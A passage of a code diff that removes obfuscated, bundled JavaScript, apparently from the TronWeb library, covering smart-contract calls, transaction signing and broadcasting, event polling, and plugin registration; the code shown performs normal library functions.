- break;
- }
- return _0x5889b8.abrupt("return", _0x5a4f5e("Invalid argument count provided"));
- case 7:
- if (this.contract.address) {
- _0x5889b8.next = 9;
- break;
- }
- return _0x5889b8.abrupt("return", _0x5a4f5e("Smart contract is missing address"));
- case 9:
- if (this.contract.deployed) {
- _0x5889b8.next = 11;
- break;
- }
- return _0x5889b8.abrupt("return", _0x5a4f5e("Calling smart contracts requires you to load the contract first"));
- case 11:
- if (_0x1f3f37 = this.abi.stateMutability, ["pure", "view"].includes(_0x1f3f37.toLowerCase())) {
- _0x5889b8.next = 14;
- break;
- }
- return _0x5889b8.abrupt("return", _0x5a4f5e("Methods with state mutability \"".concat(_0x1f3f37, "\" must use send()")));
- case 14:
- _0x3bd355 = _0x5e9a38(_0x5e9a38(_0x5e9a38({}, this.defaultOptions), {}, {
- from: this.tronWeb.defaultAddress.hex
- }, _0x3bd355), {}, {
- _isConstant: true
- });
- _0x4a4852 = _0x392b6f.map(function (_0x102738, _0x5580b7) {
- return {
- type: _0x4f52e9[_0x5580b7],
- value: _0x102738
- };
- });
- this.tronWeb.transactionBuilder.triggerSmartContract(this.contract.address, this.functionSelector, _0x3bd355, _0x4a4852, !!_0x3bd355.from && this.tronWeb.address.toHex(_0x3bd355.from), function (_0x1131c6, _0x53e104) {
- if (_0x1131c6) {
- return _0x5a4f5e(_0x1131c6);
- }
- if (!_0x1db97c.hasProperty(_0x53e104, "constant_result")) {
- return _0x5a4f5e("Failed to execute");
- }
- try {
- var _0x5c52b2 = _0x53e104.constant_result[0].length;
- if (0 === _0x5c52b2 || _0x5c52b2 % 64 == 8) {
- var _0x124acf = "The call has been reverted or has thrown an error.";
- if (0 !== _0x5c52b2) {
- _0x124acf += " Error message: ";
- for (var _0x4b0627 = "", _0x4af299 = _0x53e104.constant_result[0].substring(8), _0x50ffb5 = 0; _0x50ffb5 < _0x5c52b2 - 8; _0x50ffb5 += 64) {
- _0x4b0627 += _0x373cf1.tronWeb.toUtf8(_0x4af299.substring(_0x50ffb5, _0x50ffb5 + 64));
- }
- _0x124acf += _0x4b0627.replace(/(\u0000|\u000b|\f)+/g, " ").replace(/ +/g, " ").replace(/\s+$/g, "");
- }
- return _0x5a4f5e(_0x124acf);
- }
- var _0x4d56cc = _0x3eb624(_0x373cf1.abi, "0x" + _0x53e104.constant_result[0]);
- 1 === _0x4d56cc.length && 1 === Object.keys(_0x4d56cc).length && (_0x4d56cc = _0x4d56cc[0]);
- return _0x5a4f5e(null, _0x4d56cc);
- } catch (_0x2fa7cf) {
- return _0x5a4f5e(_0x2fa7cf);
- }
- });
- case 17:
- case "end":
- return _0x5889b8.stop();
- }
- }
- }, _0x19a164, this);
- })), function (_0x4953ef, _0x48516c) {
- return _0x2551d4.apply(this, arguments);
- })
- }, {
- key: "_send",
- value: (_0x37d1f2 = _0x203d83(_0x307918().mark(function _0xa61c4a(_0x18525f, _0x55c867) {
- var _0x3bceba;
- var _0x58b913;
- var _0xbf308a;
- var _0x1bd497;
- var _0x1e0e7f;
- var _0x3abfdc;
- var _0x3f63cf;
- var _0x3b6e46;
- var _0x5673d6;
- var _0x1e9527;
- var _0x576e21;
- var _0x3b2900 = this;
- var _0x36eb06 = arguments;
- return _0x307918().wrap(function (_0x2d7d0a) {
- for (;;) {
- switch (_0x2d7d0a.prev = _0x2d7d0a.next) {
- case 0:
- if (_0x3bceba = _0x36eb06.length > 2 && undefined !== _0x36eb06[2] ? _0x36eb06[2] : {}, _0x58b913 = _0x36eb06.length > 3 && undefined !== _0x36eb06[3] ? _0x36eb06[3] : this.tronWeb.defaultPrivateKey, _0xbf308a = _0x36eb06.length > 4 && undefined !== _0x36eb06[4] && _0x36eb06[4], _0x1db97c.isFunction(_0x58b913) && (_0xbf308a = _0x58b913, _0x58b913 = this.tronWeb.defaultPrivateKey), _0x1db97c.isFunction(_0x3bceba) && (_0xbf308a = _0x3bceba, _0x3bceba = {}), _0xbf308a) {
- _0x2d7d0a.next = 7;
- break;
- }
- return _0x2d7d0a.abrupt("return", this.injectPromise(this._send, _0x18525f, _0x55c867, _0x3bceba, _0x58b913));
- case 7:
- if (_0x18525f.length === _0x55c867.length) {
- _0x2d7d0a.next = 9;
- break;
- }
- throw new Error("Invalid argument count provided");
- case 9:
- if (this.contract.address) {
- _0x2d7d0a.next = 11;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a("Smart contract is missing address"));
- case 11:
- if (this.contract.deployed) {
- _0x2d7d0a.next = 13;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a("Calling smart contracts requires you to load the contract first"));
- case 13:
- if (_0x1bd497 = this.abi.stateMutability, !["pure", "view"].includes(_0x1bd497.toLowerCase())) {
- _0x2d7d0a.next = 16;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a("Methods with state mutability \"".concat(_0x1bd497, "\" must use call()")));
- case 16:
- ["payable"].includes(_0x1bd497.toLowerCase()) || (_0x3bceba.callValue = 0);
- _0x3bceba = _0x5e9a38(_0x5e9a38({}, this.defaultOptions), {}, {
- from: this.tronWeb.defaultAddress.hex
- }, _0x3bceba);
- _0x1e0e7f = _0x55c867.map(function (_0xff22c1, _0x1248bd) {
- return {
- type: _0x18525f[_0x1248bd],
- value: _0xff22c1
- };
- });
- _0x2d7d0a.prev = 19;
- _0x3abfdc = _0x58b913 ? this.tronWeb.address.fromPrivateKey(_0x58b913) : this.tronWeb.defaultAddress.base58;
- _0x2d7d0a.next = 23;
- return this.tronWeb.transactionBuilder.triggerSmartContract(this.contract.address, this.functionSelector, _0x3bceba, _0x1e0e7f, this.tronWeb.address.toHex(_0x3abfdc));
- case 23:
- if ((_0x3f63cf = _0x2d7d0a.sent).result && _0x3f63cf.result.result) {
- _0x2d7d0a.next = 26;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a("Unknown error: " + JSON.stringify(_0x3f63cf, null, 2)));
- case 26:
- _0x2d7d0a.next = 28;
- return this.tronWeb.trx.sign(_0x3f63cf.transaction, _0x58b913);
- case 28:
- if ((_0x3b6e46 = _0x2d7d0a.sent).signature) {
- _0x2d7d0a.next = 33;
- break;
- }
- if (_0x58b913) {
- _0x2d7d0a.next = 32;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a("Transaction was not signed properly"));
- case 32:
- return _0x2d7d0a.abrupt("return", _0xbf308a("Invalid private key provided"));
- case 33:
- _0x2d7d0a.next = 35;
- return this.tronWeb.trx.sendRawTransaction(_0x3b6e46);
- case 35:
- if (!(_0x5673d6 = _0x2d7d0a.sent).code) {
- _0x2d7d0a.next = 40;
- break;
- }
- _0x1e9527 = {
- error: _0x5673d6.code,
- message: _0x5673d6.code
- };
- _0x5673d6.message && (_0x1e9527.message = this.tronWeb.toUtf8(_0x5673d6.message));
- return _0x2d7d0a.abrupt("return", _0xbf308a(_0x1e9527));
- case 40:
- if (_0x3bceba.shouldPollResponse) {
- _0x2d7d0a.next = 42;
- break;
- }
- return _0x2d7d0a.abrupt("return", _0xbf308a(null, _0x3b6e46.txID));
- case 42:
- _0x576e21 = function () {
- var _0x110ea3 = _0x203d83(_0x307918().mark(function _0x110927() {
- var _0x2a190a;
- var _0x509afe;
- var _0x438c25;
- var _0x422f18 = arguments;
- return _0x307918().wrap(function (_0x23ad42) {
- for (;;) {
- switch (_0x23ad42.prev = _0x23ad42.next) {
- case 0:
- if ((_0x2a190a = _0x422f18.length > 0 && undefined !== _0x422f18[0] ? _0x422f18[0] : 0) !== (_0x3bceba.pollTimes || 20)) {
- _0x23ad42.next = 3;
- break;
- }
- return _0x23ad42.abrupt("return", _0xbf308a({
- error: "Cannot find result in solidity node",
- transaction: _0x3b6e46
- }));
- case 3:
- _0x23ad42.next = 5;
- return _0x3b2900.tronWeb.trx.getTransactionInfo(_0x3b6e46.txID);
- case 5:
- if (_0x509afe = _0x23ad42.sent, Object.keys(_0x509afe).length) {
- _0x23ad42.next = 8;
- break;
- }
- return _0x23ad42.abrupt("return", setTimeout(function () {
- _0x576e21(_0x2a190a + 1);
- }, 3000));
- case 8:
- if (!_0x509afe.result || "FAILED" !== _0x509afe.result) {
- _0x23ad42.next = 10;
- break;
- }
- return _0x23ad42.abrupt("return", _0xbf308a({
- error: _0x3b2900.tronWeb.toUtf8(_0x509afe.resMessage),
- transaction: _0x3b6e46,
- output: _0x509afe
- }));
- case 10:
- if (_0x1db97c.hasProperty(_0x509afe, "contractResult")) {
- _0x23ad42.next = 12;
- break;
- }
- return _0x23ad42.abrupt("return", _0xbf308a({
- error: "Failed to execute: " + JSON.stringify(_0x509afe, null, 2),
- transaction: _0x3b6e46,
- output: _0x509afe
- }));
- case 12:
- if (!_0x3bceba.rawResponse) {
- _0x23ad42.next = 14;
- break;
- }
- return _0x23ad42.abrupt("return", _0xbf308a(null, _0x509afe));
- case 14:
- if (1 === (_0x438c25 = _0x3eb624(_0x3b2900.abi, "0x" + _0x509afe.contractResult[0])).length && 1 === Object.keys(_0x438c25).length && (_0x438c25 = _0x438c25[0]), !_0x3bceba.keepTxID) {
- _0x23ad42.next = 18;
- break;
- }
- return _0x23ad42.abrupt("return", _0xbf308a(null, [_0x3b6e46.txID, _0x438c25]));
- case 18:
- return _0x23ad42.abrupt("return", _0xbf308a(null, _0x438c25));
- case 19:
- case "end":
- return _0x23ad42.stop();
- }
- }
- }, _0x110927);
- }));
- return function () {
- return _0x110ea3.apply(this, arguments);
- };
- }();
- _0x576e21();
- _0x2d7d0a.next = 49;
- break;
- case 46:
- _0x2d7d0a.prev = 46;
- _0x2d7d0a.t0 = _0x2d7d0a.catch(19);
- return _0x2d7d0a.abrupt("return", _0xbf308a(_0x2d7d0a.t0));
- case 49:
- case "end":
- return _0x2d7d0a.stop();
- }
- }
- }, _0xa61c4a, this, [[19, 46]]);
- })), function (_0x42b409, _0xc6081d) {
- return _0x37d1f2.apply(this, arguments);
- })
- }, {
- key: "_watch",
- value: (_0xdc40d1 = _0x203d83(_0x307918().mark(function _0x280d70() {
- var _0x1f50df;
- var _0x30bcda;
- var _0x3878ae;
- var _0x33c5fa;
- var _0x3acc22;
- var _0x57270c;
- var _0x434b3f;
- var _0x551290 = this;
- var _0x2e8ef1 = arguments;
- return _0x307918().wrap(function (_0x122f97) {
- for (;;) {
- switch (_0x122f97.prev = _0x122f97.next) {
- case 0:
- if (_0x1f50df = _0x2e8ef1.length > 0 && undefined !== _0x2e8ef1[0] ? _0x2e8ef1[0] : {}, _0x30bcda = _0x2e8ef1.length > 1 && undefined !== _0x2e8ef1[1] && _0x2e8ef1[1], _0x1db97c.isFunction(_0x1f50df) && (_0x30bcda = _0x1f50df, _0x1f50df = {}), _0x1db97c.isFunction(_0x30bcda)) {
- _0x122f97.next = 5;
- break;
- }
- throw new Error("Expected callback to be provided");
- case 5:
- if (this.contract.address) {
- _0x122f97.next = 7;
- break;
- }
- return _0x122f97.abrupt("return", _0x30bcda("Smart contract is missing address"));
- case 7:
- if (this.abi.type && /event/i.test(this.abi.type)) {
- _0x122f97.next = 9;
- break;
- }
- return _0x122f97.abrupt("return", _0x30bcda("Invalid method type for event watching"));
- case 9:
- if (this.tronWeb.eventServer) {
- _0x122f97.next = 11;
- break;
- }
- return _0x122f97.abrupt("return", _0x30bcda("No event server configured"));
- case 11:
- _0x3878ae = false;
- _0x33c5fa = false;
- _0x3acc22 = Date.now() - 1000;
- _0x57270c = function () {
- var _0x23d1c3 = _0x203d83(_0x307918().mark(function _0x2f2360() {
- var _0x342c89;
- var _0x2c2551;
- var _0x1672a8;
- var _0x337ea2;
- var _0x528e4c;
- var _0x4d8af3;
- return _0x307918().wrap(function (_0x42b7cb) {
- for (;;) {
- switch (_0x42b7cb.prev = _0x42b7cb.next) {
- case 0:
- _0x42b7cb.prev = 0;
- _0x342c89 = {
- since: _0x3acc22,
- eventName: _0x551290.name,
- sort: "block_timestamp",
- blockNumber: "latest",
- filters: _0x1f50df.filters
- };
- _0x1f50df.size && (_0x342c89.size = _0x1f50df.size);
- _0x1f50df.resourceNode && (/full/i.test(_0x1f50df.resourceNode) ? _0x342c89.onlyUnconfirmed = true : _0x342c89.onlyConfirmed = true);
- _0x42b7cb.next = 6;
- return _0x551290.tronWeb.event.getEventsByContractAddress(_0x551290.contract.address, _0x342c89);
- case 6:
- _0x2c2551 = _0x42b7cb.sent;
- _0x1672a8 = _0x2c2551.sort(function (_0x2bf002, _0x16f54c) {
- return _0x16f54c.block - _0x2bf002.block;
- });
- _0x337ea2 = _0x19dc48(_0x1672a8, 1);
- _0x528e4c = _0x337ea2[0];
- _0x4d8af3 = _0x2c2551.filter(function (_0x121dca, _0xb633a2) {
- return !(_0x1f50df.resourceNode && _0x121dca.resourceNode && _0x1f50df.resourceNode.toLowerCase() !== _0x121dca.resourceNode.toLowerCase() || _0x2c2551.slice(0, _0xb633a2).some(function (_0x5ffddc) {
- return JSON.stringify(_0x5ffddc) == JSON.stringify(_0x121dca);
- }) || _0x33c5fa && !(_0x121dca.block > _0x33c5fa));
- });
- _0x528e4c && (_0x33c5fa = _0x528e4c.block);
- return _0x42b7cb.abrupt("return", _0x4d8af3);
- case 13:
- _0x42b7cb.prev = 13;
- _0x42b7cb.t0 = _0x42b7cb.catch(0);
- return _0x42b7cb.abrupt("return", Promise.reject(_0x42b7cb.t0));
- case 16:
- case "end":
- return _0x42b7cb.stop();
- }
- }
- }, _0x2f2360, null, [[0, 13]]);
- }));
- return function () {
- return _0x23d1c3.apply(this, arguments);
- };
- }();
- _0x434b3f = function () {
- _0x3878ae && clearInterval(_0x3878ae);
- _0x3878ae = setInterval(function () {
- _0x57270c().then(function (_0x18e672) {
- return _0x18e672.forEach(function (_0x3a45e0) {
- _0x30bcda(null, _0x1db97c.parseEvent(_0x3a45e0, _0x551290.abi));
- });
- }).catch(function (_0x1f8168) {
- return _0x30bcda(_0x1f8168);
- });
- }, 3000);
- };
- _0x122f97.next = 18;
- return _0x57270c();
- case 18:
- _0x434b3f();
- return _0x122f97.abrupt("return", {
- start: _0x434b3f,
- stop: function () {
- _0x3878ae && (clearInterval(_0x3878ae), _0x3878ae = false);
- }
- });
- case 20:
- case "end":
- return _0x122f97.stop();
- }
- }
- }, _0x280d70, this);
- })), function () {
- return _0xdc40d1.apply(this, arguments);
- })
- }]);
- return _0x33ab51;
- }();
- var _0xde402e = function () {
- function _0x32faee() {
- var _0x4478b7 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x343396 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : [];
- var _0x5e0245 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1d998d(this, _0x32faee), !_0x4478b7 || !_0x4478b7 instanceof _0x2d34c8) {
- throw new Error("Expected instance of TronWeb");
- }
- this.tronWeb = _0x4478b7;
- this.injectPromise = _0x13268c()(this);
- this.address = _0x5e0245;
- this.abi = _0x343396;
- this.eventListener = false;
- this.bytecode = false;
- this.deployed = false;
- this.lastBlock = false;
- this.methods = {};
- this.methodInstances = {};
- this.props = [];
- this.tronWeb.isAddress(_0x5e0245) ? this.deployed = true : this.address = false;
- this.loadAbi(_0x343396);
- }
- var _0x3eaea9;
- var _0x2dad2c;
- var _0x3d32b8;
- var _0x48f291;
- _0x561e78(_0x32faee, [{
- key: "_getEvents",
- value: (_0x48f291 = _0x203d83(_0x307918().mark(function _0x2fb634() {
- var _0xec258c;
- var _0x2a81c3;
- var _0x57f1e3;
- var _0x1452f9;
- var _0x4305e1;
- var _0x3a09d2;
- var _0x421b3f = this;
- var _0x1ec362 = arguments;
- return _0x307918().wrap(function (_0x501ef8) {
- for (;;) {
- switch (_0x501ef8.prev = _0x501ef8.next) {
- case 0:
- _0xec258c = _0x1ec362.length > 0 && undefined !== _0x1ec362[0] ? _0x1ec362[0] : {};
- _0x501ef8.next = 3;
- return this.tronWeb.event.getEventsByContractAddress(this.address, _0xec258c);
- case 3:
- _0x2a81c3 = _0x501ef8.sent;
- _0x57f1e3 = _0x2a81c3.sort(function (_0xefc28d, _0x497922) {
- return _0x497922.block - _0xefc28d.block;
- });
- _0x1452f9 = _0x19dc48(_0x57f1e3, 1);
- _0x4305e1 = _0x1452f9[0];
- _0x3a09d2 = _0x2a81c3.filter(function (_0x4b7825, _0x2b4f1f) {
- return !(_0xec258c.resourceNode && _0x4b7825.resourceNode && _0xec258c.resourceNode.toLowerCase() !== _0x4b7825.resourceNode.toLowerCase() || _0x2a81c3.slice(0, _0x2b4f1f).some(function (_0xb7aaf2) {
- return JSON.stringify(_0xb7aaf2) == JSON.stringify(_0x4b7825);
- }) || _0x421b3f.lastBlock && !(_0x4b7825.block > _0x421b3f.lastBlock));
- });
- _0x4305e1 && (this.lastBlock = _0x4305e1.block);
- return _0x501ef8.abrupt("return", _0x3a09d2);
- case 8:
- case "end":
- return _0x501ef8.stop();
- }
- }
- }, _0x2fb634, this);
- })), function () {
- return _0x48f291.apply(this, arguments);
- })
- }, {
- key: "_startEventListener",
- value: (_0x3d32b8 = _0x203d83(_0x307918().mark(function _0x215b52() {
- var _0x133164;
- var _0x2412dc;
- var _0x193967 = this;
- var _0x3ae325 = arguments;
- return _0x307918().wrap(function (_0x5d26bc) {
- for (;;) {
- switch (_0x5d26bc.prev = _0x5d26bc.next) {
- case 0:
- if (_0x133164 = _0x3ae325.length > 0 && undefined !== _0x3ae325[0] ? _0x3ae325[0] : {}, _0x2412dc = _0x3ae325.length > 1 ? _0x3ae325[1] : undefined, _0x1db97c.isFunction(_0x133164) && (_0x2412dc = _0x133164, _0x133164 = {}), this.eventListener && clearInterval(this.eventListener), this.tronWeb.eventServer) {
- _0x5d26bc.next = 6;
- break;
- }
- throw new Error("Event server is not configured");
- case 6:
- if (this.address) {
- _0x5d26bc.next = 8;
- break;
- }
- throw new Error("Contract is not configured with an address");
- case 8:
- this.eventCallback = _0x2412dc;
- _0x5d26bc.next = 11;
- return this._getEvents(_0x133164);
- case 11:
- this.eventListener = setInterval(function () {
- _0x193967._getEvents(_0x133164).then(function (_0x2f607a) {
- return _0x2f607a.forEach(function (_0x37253) {
- _0x193967.eventCallback && _0x193967.eventCallback(_0x37253);
- });
- }).catch(function (_0xe55b0f) {
- console.error("Failed to get event list", _0xe55b0f);
- });
- }, 3000);
- case 12:
- case "end":
- return _0x5d26bc.stop();
- }
- }
- }, _0x215b52, this);
- })), function () {
- return _0x3d32b8.apply(this, arguments);
- })
- }, {
- key: "_stopEventListener",
- value: function () {
- this.eventListener && (clearInterval(this.eventListener), this.eventListener = false, this.eventCallback = false);
- }
- }, {
- key: "hasProperty",
- value: function (_0x2f428b) {
- return this.hasOwnProperty(_0x2f428b) || this.__proto__.hasOwnProperty(_0x2f428b);
- }
- }, {
- key: "loadAbi",
- value: function (_0xafeb16) {
- var _0x5704f4 = this;
- this.abi = _0xafeb16;
- this.methods = {};
- this.props.forEach(function (_0x3ed480) {
- return delete _0x5704f4[_0x3ed480];
- });
- _0xafeb16.forEach(function (_0x277ebb) {
- if (_0x277ebb.type && !/constructor|error/i.test(_0x277ebb.type)) {
- var _0x3deade = new _0x13097e(_0x5704f4, _0x277ebb);
- var _0x4dec0a = _0x3deade.onMethod.bind(_0x3deade);
- var _0x270b7a = _0x3deade.name;
- var _0x516352 = _0x3deade.functionSelector;
- var _0x1d1be1 = _0x3deade.signature;
- _0x5704f4.methods[_0x270b7a] = _0x4dec0a;
- _0x5704f4.methods[_0x516352] = _0x4dec0a;
- _0x5704f4.methods[_0x1d1be1] = _0x4dec0a;
- _0x5704f4.methodInstances[_0x270b7a] = _0x3deade;
- _0x5704f4.methodInstances[_0x516352] = _0x3deade;
- _0x5704f4.methodInstances[_0x1d1be1] = _0x3deade;
- _0x5704f4.hasProperty(_0x270b7a) || (_0x5704f4[_0x270b7a] = _0x4dec0a, _0x5704f4.props.push(_0x270b7a));
- _0x5704f4.hasProperty(_0x516352) || (_0x5704f4[_0x516352] = _0x4dec0a, _0x5704f4.props.push(_0x516352));
- _0x5704f4.hasProperty(_0x1d1be1) || (_0x5704f4[_0x1d1be1] = _0x4dec0a, _0x5704f4.props.push(_0x1d1be1));
- }
- });
- }
- }, {
- key: "decodeInput",
- value: function (_0x3d4c50) {
- var _0x5e2ed0 = _0x3d4c50.substring(0, 8);
- var _0x2224ce = _0x3d4c50.substring(8);
- if (!this.methodInstances[_0x5e2ed0]) {
- throw new Error("Contract method " + _0x5e2ed0 + " not found");
- }
- return {
- name: this.methodInstances[_0x5e2ed0].name,
- params: this.methodInstances[_0x5e2ed0].decodeInput(_0x2224ce)
- };
- }
- }, {
- key: "new",
- value: (_0x2dad2c = _0x203d83(_0x307918().mark(function _0x48de02(_0x53a2ff) {
- var _0x29e057;
- var _0x29f506;
- var _0x148e3f;
- var _0x319b0d;
- var _0x27754c;
- var _0x233195;
- var _0x5d5d01 = arguments;
- return _0x307918().wrap(function (_0x4824e2) {
- for (;;) {
- switch (_0x4824e2.prev = _0x4824e2.next) {
- case 0:
- if (_0x29e057 = _0x5d5d01.length > 1 && undefined !== _0x5d5d01[1] ? _0x5d5d01[1] : this.tronWeb.defaultPrivateKey, _0x29f506 = _0x5d5d01.length > 2 && undefined !== _0x5d5d01[2] && _0x5d5d01[2], _0x1db97c.isFunction(_0x29e057) && (_0x29f506 = _0x29e057, _0x29e057 = this.tronWeb.defaultPrivateKey), _0x29f506) {
- _0x4824e2.next = 5;
- break;
- }
- return _0x4824e2.abrupt("return", this.injectPromise(this.new, _0x53a2ff, _0x29e057));
- case 5:
- _0x4824e2.prev = 5;
- _0x148e3f = this.tronWeb.address.fromPrivateKey(_0x29e057);
- _0x4824e2.next = 9;
- return this.tronWeb.transactionBuilder.createSmartContract(_0x53a2ff, _0x148e3f);
- case 9:
- _0x319b0d = _0x4824e2.sent;
- _0x4824e2.next = 12;
- return this.tronWeb.trx.sign(_0x319b0d, _0x29e057);
- case 12:
- _0x27754c = _0x4824e2.sent;
- _0x4824e2.next = 15;
- return this.tronWeb.trx.sendRawTransaction(_0x27754c);
- case 15:
- if (!(_0x233195 = _0x4824e2.sent).code) {
- _0x4824e2.next = 18;
- break;
- }
- return _0x4824e2.abrupt("return", _0x29f506({
- error: _0x233195.code,
- message: this.tronWeb.toUtf8(_0x233195.message)
- }));
- case 18:
- _0x4824e2.next = 20;
- return _0x1db97c.sleep(3000);
- case 20:
- return _0x4824e2.abrupt("return", this.at(_0x27754c.contract_address, _0x29f506));
- case 23:
- _0x4824e2.prev = 23;
- _0x4824e2.t0 = _0x4824e2.catch(5);
- return _0x4824e2.abrupt("return", _0x29f506(_0x4824e2.t0));
- case 26:
- case "end":
- return _0x4824e2.stop();
- }
- }
- }, _0x48de02, this, [[5, 23]]);
- })), function (_0x26fe07) {
- return _0x2dad2c.apply(this, arguments);
- })
- }, {
- key: "at",
- value: (_0x3eaea9 = _0x203d83(_0x307918().mark(function _0x3b5fb9(_0x2481be) {
- var _0x85ca87;
- var _0x3ededd;
- var _0x253582 = arguments;
- return _0x307918().wrap(function (_0x1add1e) {
- for (;;) {
- switch (_0x1add1e.prev = _0x1add1e.next) {
- case 0:
- if (_0x85ca87 = _0x253582.length > 1 && undefined !== _0x253582[1] && _0x253582[1]) {
- _0x1add1e.next = 3;
- break;
- }
- return _0x1add1e.abrupt("return", this.injectPromise(this.at, _0x2481be));
- case 3:
- _0x1add1e.prev = 3;
- _0x1add1e.next = 6;
- return this.tronWeb.trx.getContract(_0x2481be);
- case 6:
- if ((_0x3ededd = _0x1add1e.sent).contract_address) {
- _0x1add1e.next = 9;
- break;
- }
- return _0x1add1e.abrupt("return", _0x85ca87("Unknown error: " + JSON.stringify(_0x3ededd, null, 2)));
- case 9:
- this.address = _0x3ededd.contract_address;
- this.bytecode = _0x3ededd.bytecode;
- this.deployed = true;
- this.loadAbi(_0x3ededd.abi && _0x3ededd.abi.entrys ? _0x3ededd.abi.entrys : []);
- return _0x1add1e.abrupt("return", _0x85ca87(null, this));
- case 16:
- if (_0x1add1e.prev = 16, _0x1add1e.t0 = _0x1add1e.catch(3), !_0x1add1e.t0.toString().includes("does not exist")) {
- _0x1add1e.next = 20;
- break;
- }
- return _0x1add1e.abrupt("return", _0x85ca87("Contract has not been deployed on the network"));
- case 20:
- return _0x1add1e.abrupt("return", _0x85ca87(_0x1add1e.t0));
- case 21:
- case "end":
- return _0x1add1e.stop();
- }
- }
- }, _0x3b5fb9, this, [[3, 16]]);
- })), function (_0x5a1e01) {
- return _0x3eaea9.apply(this, arguments);
- })
- }, {
- key: "events",
- value: function () {
- var _0x3e4a87 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : {};
- var _0x69ce97 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (_0x1db97c.isFunction(_0x3e4a87) && (_0x69ce97 = _0x3e4a87, _0x3e4a87 = {}), !_0x1db97c.isFunction(_0x69ce97)) {
- throw new Error("Callback function expected");
- }
- var _0x3ce31a = this;
- return {
- start: function () {
- var _0x429c46 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- return _0x429c46 ? (_0x3ce31a._startEventListener(_0x3e4a87, _0x69ce97).then(function () {
- _0x429c46();
- }).catch(function (_0x3e1007) {
- _0x429c46(_0x3e1007);
- }), this) : (_0x3ce31a._startEventListener(_0x3e4a87, _0x69ce97), this);
- },
- stop: function () {
- _0x3ce31a._stopEventListener();
- }
- };
- }
- }]);
- return _0x32faee;
- }();
- var _0x6aa8f6 = function () {
- function _0x380bf2() {
- var _0xf1f583 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x45e412 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- if (_0x1d998d(this, _0x380bf2), !_0xf1f583 || !_0xf1f583 instanceof _0x2d34c8) {
- throw new Error("Expected instance of TronWeb");
- }
- this.tronWeb = _0xf1f583;
- this.pluginNoOverride = ["register"];
- this.disablePlugins = _0x45e412.disablePlugins;
- }
- _0x561e78(_0x380bf2, [{
- key: "register",
- value: function (_0x566a4b, _0x2e84ae) {
- var _0x3aa4be = {
- requires: "0.0.0",
- components: {}
- };
- var _0x5dd975 = {
- libs: [],
- plugged: [],
- skipped: []
- };
- if (this.disablePlugins) {
- _0x5dd975.error = "This instance of TronWeb has plugins disabled.";
- return _0x5dd975;
- }
- var _0x1b1492 = new _0x566a4b(this.tronWeb);
- if (_0x1db97c.isFunction(_0x1b1492.pluginInterface) && (_0x3aa4be = _0x1b1492.pluginInterface(_0x2e84ae)), !_0x5472cb().satisfies(_0x2d34c8.version, _0x3aa4be.requires)) {
- throw new Error("The plugin is not compatible with this version of TronWeb");
- }
- if (_0x3aa4be.fullClass) {
- var _0x1558fc = _0x1b1492.constructor.name;
- var _0x755d29 = _0x1558fc.substring(0, 1).toLowerCase() + _0x1558fc.substring(1);
- _0x1558fc !== _0x755d29 && (_0x2d34c8[_0x1558fc] = _0x566a4b, this.tronWeb[_0x755d29] = _0x1b1492, _0x5dd975.libs.push(_0x1558fc));
- } else {
- for (var _0x45c959 in _0x3aa4be.components) if (this.tronWeb.hasOwnProperty(_0x45c959)) {
- var _0x3bcfd4 = _0x3aa4be.components[_0x45c959];
- var _0x233b2d = this.tronWeb[_0x45c959].pluginNoOverride || [];
- for (var _0x22b1e6 in _0x3bcfd4) "constructor" === _0x22b1e6 || this.tronWeb[_0x45c959][_0x22b1e6] && (_0x233b2d.includes(_0x22b1e6) || /^_/.test(_0x22b1e6)) ? _0x5dd975.skipped.push(_0x22b1e6) : (this.tronWeb[_0x45c959][_0x22b1e6] = _0x3bcfd4[_0x22b1e6].bind(this.tronWeb[_0x45c959]), _0x5dd975.plugged.push(_0x22b1e6));
- }
- }
- return _0x5dd975;
- }
- }]);
- return _0x380bf2;
- }();
- var _0x56b330 = _0x242c38(7735);
- var _0x38ef81 = function () {
- function _0x5d1b55() {
- var _0x3a9f5d = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (_0x1d998d(this, _0x5d1b55), !(_0x3a9f5d && _0x3a9f5d instanceof _0x2d34c8)) {
- throw new Error("Expected instance of TronWeb");
- }
- this.tronWeb = _0x3a9f5d;
- this.injectPromise = _0x13268c()(this);
- }
- _0x561e78(_0x5d1b55, [{
- key: "setServer",
- value: function () {
- var _0x533f32 = this;
- var _0x30f624 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x44b77d = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : "healthcheck";
- if (!_0x30f624) {
- return this.tronWeb.eventServer = false;
- }
- if (_0x1db97c.isString(_0x30f624) && (_0x30f624 = new _0x2ebe37.HttpProvider(_0x30f624)), !this.tronWeb.isValidProvider(_0x30f624)) {
- throw new Error("Invalid event server provided");
- }
- this.tronWeb.eventServer = _0x30f624;
- this.tronWeb.eventServer.isConnected = function () {
- return _0x533f32.tronWeb.eventServer.request(_0x44b77d).then(function () {
- return true;
- }).catch(function () {
- return false;
- });
- };
- }
- }, {
- key: "getEventsByContractAddress",
- value: function () {
- var _0x22210e = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x3f8b15 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0x641c9 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0x368099 = Object.assign({
- sinceTimestamp: 0,
- eventName: false,
- blockNumber: false,
- size: 20,
- page: 1
- }, _0x3f8b15);
- var _0x1e0182 = _0x368099.sinceTimestamp;
- var _0x29f2a7 = _0x368099.since;
- var _0x5e39f1 = _0x368099.fromTimestamp;
- var _0x1a2945 = _0x368099.eventName;
- var _0x49dd3b = _0x368099.blockNumber;
- var _0x5c7e1a = _0x368099.size;
- var _0x38ca39 = _0x368099.page;
- var _0x50c614 = _0x368099.onlyConfirmed;
